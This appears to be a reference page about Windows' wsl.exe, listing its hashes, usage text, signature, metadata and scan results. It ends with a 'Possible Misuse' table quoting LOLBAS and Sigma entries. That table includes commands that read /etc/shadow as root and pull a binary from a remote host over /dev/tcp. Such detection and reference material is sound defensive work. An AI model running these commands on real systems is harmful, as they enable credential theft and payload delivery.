wsl.exe

File Path: C:\Windows\system32\wsl.exe
Description: Microsoft Windows Subsystem for Linux Launcher

Hashes

Type	Hash
MD5	`8357CB58911ACA02177B68548AB7F09E`
SHA1	`4A0414FF25E988CAF013983308EA2E62C755E537`
SHA256	`9FBB5B45C7E911D37E88F6EDA4D5D237F20F651235667EADAAA097B08EB8CC48`
SHA384	`5E3F508BD96B7A816C925D64B43D6F0EB7F002A97BAFC872FCE6C7E25221E42605EA6703FB1FA5874E2313D9CB57723E`
SHA512	`C4649EF23699AED45A74174D1DC6A8EE9DDA1545AD0A2CC25471052A8F6623F6FBA60973B08A11E2EAE1D3ED91C10DAFF571B5FF0C7B6A3C3F2ACFBE71343CD3`
SSDEEP	`1536:KSjpPNTp5/IKlq3+JGw5X7SEjSQkIcvxb6LE7oBn2xfc7JKaSCXRfFSKq0I7t1Wi:z7/vc+J3R7SSSQkIekLjZCsJK0fvOk6`
IMP	`CDBC30E57CA76EA08811485B115EB8D5`
PESHA1	`E284B3E21CB3E4BCA50448E73C3CA233D71F3E5F`
PE256	`042D4709F70EBC4447A0BBB3767638DDB66C9A5FE0278A18DBC1C645AEDFAABE`

Runtime Data

Usage (stdout):

Copyright (c) Microsoft Corporation. All rights reserved.

Usage: wsl.exe [Argument]

Arguments:

    --install <Options>
        Install Windows Subsystem for Linux features. If no options are specified,
        the recommended features will be installed along with the default distribution.

        To view the default distribution as well as a list of other valid distributions,
        use 'wsl --list --online'.

        Options:
            --distribution, -d [Argument]
                Specifies the distribution to be downloaded and installed by name.

                Arguments:
                    A valid distribution name (not case sensitive).
                    
                Examples:
                    wsl --install -d Ubuntu
                    wsl --install --distribution Debian

    --list, -l [Options]
        Lists distributions.

        Options:
            --online, -o
                Displays a list of available distributions for install with 'wsl --install'.

    --help
        Display usage information.

Loaded Modules:

Path
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\system32\wsl.exe

Signature

Status: Signature verified.
Serial: 33000002EC6579AD1E670890130000000002EC
Thumbprint: F7C2F2C96A328C13CDA8CDB57B715BDEA2CBD1D9
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: wsl.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.19041.1151 (WinBuild.160101.0800)
Product Version: 10.0.19041.1151
Language: English (United States)
Machine Type: 64-bit

File Scan

VirusTotal Detections: 0/73
VirusTotal Link: https://www.virustotal.com/gui/file/9fbb5b45c7e911d37e88f6eda4d5d237f20f651235667eadaaa097b08eb8cc48/detection

Possible Misuse

The following table contains possible examples of wsl.exe being misused. While wsl.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_susp_wsl_lolbin.yml	`- '\wsl.exe'`	DRL 1.0
LOLBAS	Wsl.yml	`Name: Wsl.exe`
LOLBAS	Wsl.yml	`- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe`
LOLBAS	Wsl.yml	`Description: Executes calc.exe from wsl.exe`
LOLBAS	Wsl.yml	`- Command: wsl.exe -u root -e cat /etc/shadow`
LOLBAS	Wsl.yml	`- Command: wsl.exe --exec bash -c 'cat file'`
LOLBAS	Wsl.yml	`- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'`
LOLBAS	Wsl.yml	`- Path: C:\Windows\System32\wsl.exe`
LOLBAS	Wsl.yml	`- IOC: Child process from wsl.exe`